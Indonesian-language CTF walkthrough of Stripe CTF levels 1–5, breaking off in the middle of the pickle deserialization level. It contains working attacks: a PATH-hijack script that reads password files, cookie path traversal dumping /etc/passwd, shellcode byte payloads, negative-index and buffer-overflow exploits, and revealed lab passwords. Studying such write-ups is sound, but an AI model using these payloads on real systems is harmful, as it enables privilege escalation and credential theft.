to email ctf@stripe.com for guidance.
Goalnya adalah membaca file berisi password /home/level02/.password yang permissionnya sudah diset hanya bisa dibaca oleh level02. Jadi bagaimana caranya user level01 bisa membaca file yang hanya bisa dibaca oleh user level02 ? Disinilah tantangannya.
Sudah disediakan aplikasi /levels/level01 dengan owner file adalah level02 dan suid bit diaktifkan, artinya aplikasi ini dijalankan sebagai (runas) level02. Karena aplikasi ini runas level02, tentu aplikasi ini punya privilege untuk membaca file password yang kita inginkan.
-r-Sr-x--- 1 level02 level01 8617 2012-02-23 02:31 /levels/level01
Tapi sayangnya aplikasi ini bukan aplikasi yang membaca file, aplikasi ini hanya menampilkan current time saja.
level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ /levels/level01
Current time: Mon Feb 27 14:38:49 UTC 2012
level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ /levels/level01
Current time: Mon Feb 27 14:38:56 UTC 2012
level01@ctf4:/tmp/tmp.jaJ1JT4TIp$
Mungkinkah aplikasi yang menampilkan current time bisa disalahgunakan untuk membaca file? Bila mungkin, bagaimana caranya?
Kalau ditanya mungkinkah, tentu jawabnya mungkin, sebab untuk apa membuat game CTF yang tidak mungkin dikerjakan, hehe? Oke sekarang bagaimana caranya? Tentu kita harus mencari bug yang bisa diexploit agar aplikasi yang tampaknya innocent dan hanya melakukan satu hal sederhana bisa disalahgunakan. Mari kita lihat source code dari aplikasi ini.
#include
#include
int main(int argc, char **argv)
{
printf("Current time: ");
fflush(stdout);
system("date");
return 0;
}
Aplikasi yang sangat sederhana, hanya terdiri dari 3 pemanggilan fungsi saja, printf(), fflush() dan system(). Dari ketiga fungsi tersebut printf() dan fflush() tidak ada masalah, yang mungkin untuk diexploit tinggal system() karena fungsi ini mengeksekusi shell command.
Fungsi system() mengeksekusi “date”, tentu yang dimaksud oleh programmernya adalah /bin/date yang menampilkan current time. Tapi dari mana OS tahu bahwa yang dimaksud adalah /bin/date bila programmernya hanya menuliskan “date” saja, bukan “/bin/date” ? Jawabannya adalah dari environment variable PATH.
Bila kita ubah PATH ke direktori lain selain /bin, maka kita bisa membuat aplikasi tersebut mengeksekusi “date” yang sudah kita siapkan untuk membaca file, bukan /bin/date yang menampilkan current time seperti yang diharapkan programmernya.
level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ export PATH=/tmp/tmp.jaJ1JT4TIp:$PATH
level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ echo '#!/bin/bash -p
> cat /home/level02/.password' > date
level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ chmod 755 date
level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ ls -l date
-rwxr-xr-x 1 level01 level01 43 2012-02-27 14:58 date
level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ /levels/level01
Current time: kxlVXUvzv
Setelah PATH variabel disesuaikan dan “date” kita siapkan, aplikasi /levels/level01 sekarang tidak lagi menampilkan current time, tapi menampilkan isi file /home/level02/.password. Hal ini bisa terjadi karena yang dieksekusi fungsi system() bukan /bin/date melainkan /tmp/tmp.jaJ1JT4TIp/date.
Level 02 Setelah mendapatkan password level02, kita ssh ke level02@ctf.stri.pe. Lagi-lagi kita disambut dengan ucapan selamat dan petunjuk baru.
Congratulations on making it to level 2!
The password for the next level is in /home/level03/.password. This
one is a web-based vulnerability, so go ahead and point your browser
to http://ctf.stri.pe/level02.php. You'll need to provide the password
for level02 using HTTP digest authentication.
You can find the source code for level02.php in /var/www/.
Goalnya mirip dengan sebelumnya yaitu membaca file berisi password di /home/level03/.password. Tapi kali ini agak berbeda karena aplikasinya adalah web based yang dibuat dengan PHP. PHP script ini dijalankan sebagai user level03 melalui teknik semacam CGI, jadi seperti kasus sebelumnya, kita juga harus menyalahgunakan aplikasi PHP ini untuk membaca file /home/level03/.password.
Mari kita lihat source code aplikasinya:
1 | <?php |
Bila dalam kasus sebelumnya aplikasinya hanya menampilkan current time dan tidak membaca file sama sekali, kali ini aplikasi ini melakukan banyak hal, salah satunya adalah membaca file. Tapi tentu saja file yang dibaca aplikasi php ini bukanlah file /home/level03/.password yang kita harapkan.
Pada baris ke-23, aplikasi ini membaca file yang berlokasi di direktori /tmp/level02/, padahal file yang kita inginkan berada di direktori /home/level03/. Bagaimana caranya membuat aplikasi yang membaca file di /tmp/level02/ menjadi membaca file di /home/level03/ ?
Perhatikan lagi baris ke-23, nama file yang akan dibaca diambil dari COOKIE bernama user_details. Nama file ini kemudian digabungkan dengan string “/tmp/level02/” sehingga membentuk path lengkap file yang akan dibaca. Karena COOKIE berasal dari input user dan tidak ada validasi apapun di aplikasi tersebut, maka user bebas mengisikan nama file apa saja yang ingin dibaca melalui COOKIE.
Bila COOKIE berisi “abcd.txt”, maka aplikasi akan membaca “/tmp/level02/abcd.txt”. Namun bagaimana bile COOKIE berisi “../../etc/passwd” ? Nama file yang akan dibaca menjadi “/tmp/level02/../../etc/passwd” atau sama saja dengan “/etc/passwd”.
$ curl --cookie "user_details=../../etc/passwd" --digest --user level02:kxlVXUvzv http://ctf.stri.pe/level02.php
<html>
<head>
<title>Level02</title>
</head>
<body>
<h1>Welcome to the challenge!</h1>
<div class="main">
<p>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
messagebus:x:102:107::/var/run/dbus:/bin/false
haldaemon:x:103:108:Hardware abstraction layer,,,:/var/run/hald:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
landscape:x:105:109::/var/lib/landscape:/bin/false
ubuntu:x:1000:1000:Ubuntu,,,:/home/ubuntu:/bin/bash
postfix:x:106:113::/var/spool/postfix:/bin/false
level01:x:1001:1002::/home/level01:/bin/bash
level02:x:1002:1003::/home/level02:/bin/bash
level03:x:1003:1004::/home/level03:/bin/bash
level04:x:1004:1005::/home/level04:/bin/bash
level05:x:1005:1006::/home/level05:/bin/bash
level06:x:1006:1007::/home/level06:/bin/bash
the-flag:x:1007:1008::/home/the-flag:/bin/bash
</p>
<form action="#" method="post">
Name: <input name="name" type="text" length="40" /><br />
Age: <input name="age" type="text" length="2" /><br /><br />
<input type="submit" value="Submit!" />
</form>
</div>
</body>
</html>
Sekarang jelas bagaimana cara untuk membaca file lain di luar /tmp/level02/ yaitu dengan prefix “../../”. Kini kita bisa membaca file /home/level03/.password dengan COOKIE user_details berisi “../../home/level03/.password”.
$ curl --cookie "user_details=../../home/level03/.password" --digest --user level02:kxlVXUvzv http://ctf.stri.pe/level02.php
<html>
<head>
<title>Level02</title>
</head>
<body>
<h1>Welcome to the challenge!</h1>
<div class="main">
<p>Or0m4UX07b
</p>
<form action="#" method="post">
Name: <input name="name" type="text" length="40" /><br />
Age: <input name="age" type="text" length="2" /><br /><br />
<input type="submit" value="Submit!" />
</form>
</div>
</body>
</html>
Kita lanjutkan ke level 3, kali ini tantangannya kembali lagi ke aplikasi binary dengan goal sama dengan sebelumnya, yaitu membaca file /home/level04/.password dengan cara menyalahgunakan aplikasi /levels/level03.
Congratulations on making it to level 3!
The password for the next level is in /home/level04/.password. As
before, you may find /levels/level03 and /levels/level03.c useful.
While the supplied binary mostly just does mundane tasks, we trust
you'll find a way of making it do something much more interesting.
Sebelumnya mari kita coba dulu aplikasi /levels/level03.
level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03
Usage: ./level03 INDEX STRING
Possible indices:
[0] to_upper [1] to_lower
[2] capitalize [3] length
level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03 0 test
Uppercased string: TEST
level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03 1 test
Lowercased string: test
level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03 2 test
Capitalized string: Test
level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03 3 test
Length of string 'test': 4
level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03 5 test
Invalid index.
Possible indices:
[0] to_upper [1] to_lower
[2] capitalize [3] length
level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03 100 test
Invalid index.
Possible indices:
[0] to_upper [1] to_lower
[2] capitalize [3] length
Aplikasi ini hanya melakukan operasi sederhana pada string. Dalam aplikasi ini tidak ada operasi baca file sama sekali, padahal yang kita inginkan adalah aplikasi ini membaca file /home/level04/.password. Bagaimanakah caranya?
Berikut ini adalah source code aplikasinya.
1 | #include <stdio.h> |
Ada beberapa kelemahan dalam aplikasi ini. Pertama adalah pemakaian function pointer. Pemakaian function pointer bila tidak hati-hati bisa dieksploitasi untuk mengeksekusi function/code lain yang tidak diharapkan programmernya.
Aplikasi ini tidak secara langsung memanggil nama fungsi, tapi melalui kumpulan function pointer yang disimpan dalam array bernama fns (lihat baris ke-68). Array fns ini menyimpan alamat dari fungsi to_upper() di index [0], alamat fungsi to_lower() di index [1], alamat fungsi capitalize() di index [2] dan alamat fungsi length() di index[3] terurut sesuai index dalam array sehingga bila user memasukkan index 0, maka fungsi yang dipanggil adalah to_upper(), bila index 1, maka yang dipanggil adalah fungsi to_lower() dan seterusnya.
Array index out of bounds Pada baris ke-80, ada pengecekan/validasi index, bila index >= 4, maka program akan menampilkan pesan errror kemudian exit(). Validasi ini mencegah pengaksesan array fns dengan index >= 4 karena batas atas index array fns adalah 3.
Namun validasi ini tidak sempurna karena hanya membatasi index di batas atas saja, sedangkan batas bawahnya tidak di batasi. Batas bawah index array fns seharusnya adalah 0, tapi validasi ini tidak mencegah bila index yang dimasukkan < 0 (index negatif).
Negative index array Mungkinkah ada array dengan index negative ? Dalam bahasa C, array tidak lebih hanyalah pointer saja, dan index array hanya berfungsi sebagai offset.
Karena fns adalah array of function pointer, setiap kotak index di gambar di atas mengandung alamat memori code yang nanti akan dieksekusi bila dipanggil (dalam low levelnya adalah instruksi CALL ke alamat tersebut). Kotak index[0] berisi alamat to_upper(), index[1] berisi alamat to_lower(), index[2] berisi alamat capitalize() dan index[3] berisi alamat length(). Lalu index[4], index[-1] dan index[-2] berisi alamat fungsi apa?
index[-1], index[-2] dan index[4] sebenarnya isinya tidak terdefinisi, jadi bisa berisi data apa saja yang kebetulan lokasinya berdampingan dengan array fns. Bisa jadi isinya adalah isi dari variabel lain di memori.
Cara 1 Pada percobaan pertama saya mencoba menginjeksi shellcode dan membuat fns merujuk pada alamat shellcode tersebut berada dengan index array negatif, sehingga shellcode tersebut akan dieksekusi. Shellcode nantinya akan saya injeksi sebagai input string (argv[2]).
Bagaimana saya tahu shellcode nanti akan disimpan di alamat mana? Karena adanya ASLR (address space layout randomization), maka lokasi shellcode sulit diprediksi. Oleh karena itu saya memakai teknik CALL EAX. Dalam fungsi truncate_and_call() ada pemanggilan fungsi strncpy(), return dari strncpy() adalah address of buf, sehingga dijamin register EAX akan berisi alamat buf setelah strncpy() selesai.
int truncate_and_call(fn_ptr *fns, int index, char *user_string)
{
char buf[64];
// Truncate supplied string
strncpy(buf, user_string, sizeof(buf) - 1);
buf[sizeof(buf) - 1] = '\0';
return fns[index](buf);
}
Setelah EAX dijamin merujuk pada buf, maka kita tinggal mencari lokasi memori yang mengandung instruksi CALL EAX (karena EAX = address of buf, maka CALL EAX = execute shellcode in buf).
$ objdump -d /levels/level03|grep call|grep eax
8048598: ff 14 85 14 9f 04 08 call *0x8049f14(,%eax,4)
80485df: ff d0 call *%eax
804892b: ff d0 call *%eax
Saya ambil salah satu saja, yaitu call eax di 0x0804892b. Ini adalah alamat dari fungsi “call eax” (agar lebih mudah kita anggap saja ini sebuah fungsi bernama “call eax”). Alamat “call eax” ini statik, tidak ikut terpengaruh oleh ASLR, jadi bisa dipastikan dengan mudah.
Kita simpan dulu saja alamat fungsi “call eax” ini. Kita lihat dulu bagaimana payload yang akan kita injeksi. Payload ini berisi shellcode+alamat fungsi “call eax”. Shellcode yang saya pakai adalah shellcode yang pernah saya bahas di artikel saya tentang membuat shellcode untuk local exploit. Shellcode ini ukurannya 35 byte.
Jadi payload yang akan diinjeksi adalah:
\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80 + \x90 + \x2b\x89\x04\x08
35 byte pertama adalah shellcode, diikuti dengan 1 byte \x90 (NOP) yang hanya berfungsi sebagai alignment saja untuk menggenapi 35 byte menjadi 36 byte agar kelipatan 4. Sedangkan 4 byte terakhir dari payload tersebut adalah alamat fungsi “call eax” sehingga total menjadi 40 byte (tetap kelipatan 4). Sekarang setelah payload siap, kita harus tentukan berapa index array fns yang akan dipakai?
Pada gambar di bawah ini terlihat buf sudah berisi shellcode+NOP+alamat fungsi “call eax”.
Dengan sedikit coba-coba dengan gdb, diketahui index yang pas menunjuk pada alamat fungsi “call eax” adalah -19. Perhatikan bahwa fns[-19] merujuk pada lokasi memori 0xfff62560 yang berisi 0x0804892b (alamat fungsi “call eax”). Jadi seperti halnya fns[0] berisi alamat to_upper(), fns[1] berisi alamat to_lower(), maka fns[-19] berisi alamat fungsi “call eax”.
Step by step di gdb sudah menunjukkan hasil yang positif. Sebelum mengeksekusi CALL EAX, register EAX sudah merujuk pada lokasi shellcode, sehingga CALL EAX = CALL SHELLCODE.
Namun ternyata setelah dicoba CALL EAX, muncul error segmentation fault.
Ternyata penyebabnya adalah non-executable stack:
$ readelf -l /levels/level03 |grep GNU_STACK
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4
$ fvvvvv
Padahal bila dicoba dengan executable yang flag stacknya RWE, cara ini bisa berhasil dengan mulus.
Cara 2
Oke, ternyata cara pertama gagal karena ternyata flag stacknya RW, bukan RWE. Sekarang kita coba cara lain. Perhatikan pada baris ke-50 ada function run() yang isinya adalah memanggil fungsi system(). Fungsi ini ceritanya sudah deprecated jadi alamat fungsi run() ini tidak dimasukkan dalam kumpulan function pointer di array fns seperti to_upper(), to_lower(), capitalize() dan length().
int run(const char *str)
{
// This function is now deprecated.
return system(str);
}
Walaupun alamat fungsi run() ini tidak masuk dalam array fns, tapi tetap saja sebagai sebuah function, run() tetap memiliki alamat.
level03@ctf6:/tmp/tmp.K9T2uxWAMl$ objdump -d /levels/level03|grep '<run>'
0804875b <run>:
Dengan objdump kita mendapatkan alamat fungsi run() adalah 0x0804875b. Alamat ini harus kita masukkan ke buf, kemudian dengan index negatif, fns akan mengambil alamat fungsi run(). Payload yang akan kita kirim sebagai argument program (argv[2]) adalah:
cat /home/level04/.password\n\n\n\n#\x5b\x87\04\x08
Di dalam payload ada “\n#” yang fungsinya sebagai comment, sehingga 4 byte terakhir akan diabaikan (tidak dieksekusi). Adanya 3 new line sebelumnya (\n\n\n) fungsinya hanya untuk alignment agar total payload panjangnya 36 (kelipatan 4).
$ gdb -q --args /levels/level03 -20 "$(printf "cat /home/level04/.password\n\n\n\n#\x5b\x87\04\x08")"
Breakpoint 1, truncate_and_call (fns=0xffb23ffc, index=-20,
user_string=0xffb2591f "cat /home/level04/.password\n\n\n\n#[\207\004\b")
at level03.c:62
(gdb) x/12xw &buf
0xffb23f8c: 0x20746163 0x6d6f682f 0x656c2f65 0x306c6576
0xffb23f9c: 0x702e2f34 0x77737361 0x0a64726f 0x230a0a0a
0xffb23fac: 0x0804875b 0x00000000 0x00000000 0x00000000
(gdb) p &fns[-20]
$1 = (fn_ptr *) 0xffb23fac
(gdb) p *(fns[-20])
$2 = {int (const char *)} 0x804875b <run>
Dari gdb terlihat bahwa payload kita sudah masuk dalam buf (0×20746163 = “cat “, 0x6d6f682f = “/hom” dst). Akhir dari payload kita ada pada alamat 0xffb23fac, berisi 0x0804875b (alamat fungsi “call eax”). Kemudian kita mencari selisih antara alamat fns (0xffb23ffc) dan lokasi dalam buf yang berisi alamat fungsi “call eax” (0xffb23fac) dalam kelipatan 4. (0xffb23ffc-0xffb23fac)/4 = 20, sehingga indexnya yang pas adalah -20. Jadi kini fns[-20] berisi alamat fungsi run().
Seperti yang lainnya juga, bila user memasukkan index 0, maka yang dipanggil adalah fungsi to_upper(), bila user memasukkan index 1, maka yang dipanggil adalah fungsi to_lower(). Begitu juga dalam exploit ini user memasukkan index -20, maka yang dipanggil adalah fungsi run().
$ /levels/level03 -20 "$(printf "cat /home/level04/.password\n\n\n\n#\x5b\x87\04\x08")"
i5cBbPvPCpcP
Akhirnya berhasil juga mendapatkan password level04, yaitu i5cBbPvPCpcP.
Level 04 Kita lanjut lagi ke level 04. Sama seperti sebelumnya, kita harus menyalahgunakan aplikasi /levels/level04 untuk membaca file /home/level05/.password
Congratulations on making it to level 4!
The password for the next level is in /home/level05/.password. As
before, you may find /levels/level04 and /levels/level04.c useful.
The vulnerabilities overfloweth!
Dengan percobaan dibawah ini terlihat bahwa ini adalah contoh klasik buffer overflow.
level04@ctf5:/tmp/tmp.NGRBxhqLuX$ gdb -q --args /levels/level04 $(perl -e 'printf "A"x1100')
Reading symbols from /levels/level04...(no debugging symbols found)...done.
(gdb) r
Starting program: /levels/level04 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
warning: the debug information found in "/lib/ld-2.11.1.so" does not match "/lib/ld-linux.so.2" (CRC mismatch).
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
Source code dari aplikasi ini adalah:
1 | #include <stdio.h> |
Buffer overflow bisa terjadi pada baris ke-8, bila fungsi strcpy() menyalin isi str yang panjangnya lebih besar dari 1024 ke dalam buf yang panjangnya terbatas hanya 1024.
Kita gunakan pattern_create dan pattern_offset dari metasploit untuk menentukan dimana posisi return address. Dengan pattern_offset berhasil diketahui bahwa posisi return address adalah pada byte ke-1036. Dengan mengetahui offset ini payload yang akan kita kirim komposisinya adalah:
[1036 byte shellcode + lain2] + [4 byte return address]
Setelah mengetahui offset, selanjutnya adalah menentukan kemana harus return? Kita harus menentukan return address agar shellcode kita tereksekusi. Kita lihat dulu, apakah ASLR diaktifkan di mesin ini?
Ternyata alamat stack pointer berubah-ubah, artinya mesin ini mengaktifkan randomize_va_space atau ASLR. Ini akan menyulitkan kita menentukan return address, sehingga kita harus menggunakan teknik yang sama seperti di level sebelumnya, yaitu teknik CALL EAX.
Kenapa harus CALL EAX ? Karena dari source code baris ke-8, terlihat ada fungsi strcpy(), jadi dijamin isi register EAX selalu berisi lokasi buf setelah fungsi strcpy() selesai dipanggil. Karena EAX berisi lokasi buf, dan buf akan kita isi dengan shellcode, maka CALL EAX = CALL buf = CALL shellcode.
$ objdump -d /levels/level04|grep call |grep eax
8048438: ff 14 85 14 9f 04 08 call *0x8049f14(,%eax,4)
804847f: ff d0 call *%eax
804857b: ff d0 call *%eax
Dari objdump kita mendapatkan alamat yang mengandung instruksi call eax, yaitu 0x0804857b (saya ambil salah satu yang paling bawah). Alamat ini statik, tidak ikut berubah karena ASLR, jadi kita bisa pakai sebagai return address. Sama seperti level sebelumnya, kita memakai shellcode yang panjangnya 35 byte yang kita posisikan di awal buf.
Karena shellcode dan byte lain-lain panjangnya 1036 byte, dipakai untuk shellcode 35 byte, masih ada sisa 1001 byte lagi. 1001 byte ini hanya sebagai filler, boleh diisi oleh byte apa saja, asalkan bukan null byte (\x00) karena null byte adalah penanda akhir sebuah string. Jadi kini payload kita menjadi:
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + "\x99"x1001 + "\x7b\x85\x04\x08"
Sekarang payload sudah siap, bisa langsung kita coba.
level04@ctf5:/tmp/tmp.NGRBxhqLuX$ whoami
level04
level04@ctf5:/tmp/tmp.NGRBxhqLuX$ /levels/level04 $(perl -e 'print "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"."\x99" x 1001 . "\x7b\x85\x04\x08"')
$ whoami
level05
$ cat /home/level05/.password
fzfDGnSmd317
Oke sekarang kita lanjut ke level 05. Berikut adalah petunjuk level 05.
Congratulations on making it to level 5! You're almost done!
The password for the next (and final) level is in /home/level06/.password.
As it turns out, level06 is running a public uppercasing service. You
can POST data to it, and it'll uppercase the data for you:
curl localhost:9020 -d 'hello friend'
{
"processing_time": 5.0067901611328125e-06,
"queue_time": 0.41274619102478027,
"result": "HELLO FRIEND"
}
You can view the source for this service in /levels/level05. As you
can see, the service is structured as a queue server and a queue
worker.
Could it be that this seemingly innocuous service will be level06's
downfall?
Source code aplikasi ini adalah:
#!/usr/bin/env python
import logging
import json
import optparse
import os
import pickle
import random
import re
import string
import sys
import time
import traceback
import urllib
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
LOGGER_NAME = 'queue'
logger = logging.getLogger(LOGGER_NAME)
logger.addHandler(logging.StreamHandler(sys.stderr))
TMPDIR = '/tmp/level05'
class Job(object):
QUEUE_JOBS = os.path.join(TMPDIR, 'jobs')
QUEUE_RESULTS = os.path.join(TMPDIR, 'results')
def __init__(self):
self.id = self.generate_id()
self.created = time.time()
self.started = None
self.completed = None
def generate_id(self):
return ''.join([random.choice(string.ascii_letters) for i in range(20)])
def job_file(self):
return os.path.join(self.QUEUE_JOBS, self.id)
def result_file(self):
return os.path.join(self.QUEUE_RESULTS, self.id)
def start(self):
self.started = time.time()
def complete(self):
self.completed = time.time()
class QueueUtils(object):
@staticmethod
def deserialize(serialized):
logger.debug('Deserializing: %r' % serialized)
parser = re.compile('^type: (.*?); data: (.*?); job: (.*?)$', re.DOTALL)
match = parser.match(serialized)
direction = match.group(1)
data = match.group(2)
job = pickle.loads(match.group(3))
return direction, data, job
@staticmethod
def serialize(direction, data, job):
serialized = """type: %s; data: %s; job: %s""" % (direction, data, pickle.dumps(job))
logger.debug('Serialized to: %r' % serialized)
return serialized
@staticmethod
def enqueue(type, data, job):
logger.info('Writing out %s data for job id %s' % (type, job.id))
if type == 'JOB':
file = job.job_file()
elif type == 'RESULT':
file = job.result_file()
else:
raise ValueError('Invalid type %s' % type)
serialized = QueueUtils.serialize(type, data, job)
with open(file, 'w') as f:
f.write(serialized)
f.close()
class QueueServer(object):
# Called in server
def run_job(self, data, job):
QueueUtils.enqueue('JOB', data, job)
result = self.wait(job)
if not result:
result = (None, 'Job timed out', None)
return result
def wait(self, job):
job_complete = False
for i in range(10):
if os.path.exists(job.result_file()):
logger.debug('Results file %s found' % job.result_file())
job_complete = True
break
else:
logger.debug('Results file %s does not exist; sleeping' % job.result_file())
time.sleep(0.2)
if job_complete:
f = open(job.result_file())
result = f.read()
os.unlink(job.result_file())
return QueueUtils.deserialize(result)
else:
return None
class QueueWorker(object):
def __init__(self):
# ensure tmp directories exist
if not os.path.exists(Job.QUEUE_JOBS):
os.mkdir(Job.QUEUE_JOBS)
if not os.path.exists(Job.QUEUE_RESULTS):
os.mkdir(Job.QUEUE_RESULTS)
def poll(self):
while True:
available_jobs = [os.path.join(Job.QUEUE_JOBS, job) for job in os.listdir(Job.QUEUE_JOBS)]
for job_file in available_jobs:
try:
self.process(job_file)
except Exception, e:
logger.error('Error processing %s' % job_file)
traceback.print_exc()
else:
logger.debug('Successfully processed %s' % job_file)
finally:
os.unlink(job_file)
if available_jobs:
logger.info('Processed %d available jobs' % len(available_jobs))
else:
time.sleep(1)
def process(self, job_file):
serialized = open(job_file).read()
type, data, job = QueueUtils.deserialize(serialized)
job.start()
result_data = self.perform(data)
job.complete()
QueueUtils.enqueue('RESULT', result_data, job)
def perform(self, data):
return data.upper()
class QueueHttpServer(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(404)
self.send_header('Content-type','text/plain')
self.end_headers()
output = { 'result' : "Hello there! Try POSTing your payload. I'll be happy to capitalize it for you." }
self.wfile.write(json.dumps(output))
self.wfile.close()
def do_POST(self):
length = int(self.headers.getheader('content-length'))
post_data = self.rfile.read(length)
raw_data = urllib.unquote(post_data)
queue = QueueServer()
job = Job()
type, data, job = queue.run_job(data=raw_data, job=job)
if job:
status = 200
output = { 'result' : data, 'processing_time' : job.completed - job.started, 'queue_time' : time.time() - job.created }
else:
status = 504
output = { 'result' : data }
self.send_response(status)
self.send_header('Content-type','text/plain')
self.end_headers()
self.wfile.write(json.dumps(output, sort_keys=True, indent=4))
self.wfile.write('\n')
self.wfile.close()
def run_server():
try:
server = HTTPServer(('127.0.0.1', 9020), QueueHttpServer)
logger.info('Starting QueueServer')
server.serve_forever()
except KeyboardInterrupt:
logger.info('^C received, shutting down server')
server.socket.close()
def run_worker():
worker = QueueWorker()
worker.poll()
def main():
parser = optparse.OptionParser("""%prog [options] type""")
parser.add_option('-v', '--verbosity', help='Verbosity of debugging output.',
dest='verbosity', action='count', default=0)
opts, args = parser.parse_args()
if opts.verbosity == 1:
logger.setLevel(logging.INFO)
elif opts.verbosity >= 2:
logger.setLevel(logging.DEBUG)
if len(args) != 1:
parser.print_help()
return 1
if args[0] == 'worker':
run_worker()
elif args[0] == 'server':
run_server()
else:
raise ValueError('Invalid type %s' % args[0])
return 0
if __name__ == '__main__':
sys.exit(main())
Ini adalah aplikasi web yang dibuat dengan bahasa python. Aplikasi ini memakai module pickle yang diketahui dangerous bila tidak berhati-hati memakainya. Artikel sour pickle di blackhat-USA 2011 ini menjelaskan tentang eksploitasi pickle.
Problem utamanya adalah pada fungsi deserialize() di bawah ini:
1 | def deserialize(serialized): |
Pada baris ke-7 ada pemanggilan fungsi pickle.loads() untuk mengubah string menjadi object (deserialize). Fungsi load ini bisa diexploitasi untuk mengeksekusi command shell bila string yang diload adalah string yang malicious.
Sebelumnya mari kita coba menjalankan aplikasi ini di system sendiri agar lebih leluasa melihat lognya. Dengan menjalankan command:
curl localhost:9020 -d 'testdata'
Berikut ini adalah log yang terlihat:
1 | Deserializing: "type: JOB; data: testdata; job: ccopy_reg\n_reconstructor\np0\n(c__main__\nJob\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nS'started'\np6\nNsS'completed'\np7\nNsS'id'\np8\nS'zHVfBIZvbnpXpPOgCmTG'\np9\nsS'created'\np10\nF1330412913.7635019\nsb." |
Pada baris ke-2 adalah log yang saya tambahkan sendiri untuk melihat string yang akan di load oleh pickle. Input program ini ada 3 field: type, data dan job. Terlihat bahwa string yang diload oleh pickle adalah field job yang bukan berasal dari input user, sedangkan string yang diinput user (“testdata”) tidak ikut diload oleh pickle karena bukan bagian dari field job.
Ide serangannya adalah dengan menginjeksi malicious string yang bila diload oleh pickle akan mengeksekusi command. Contoh string yang malicious adalah:
cos
system
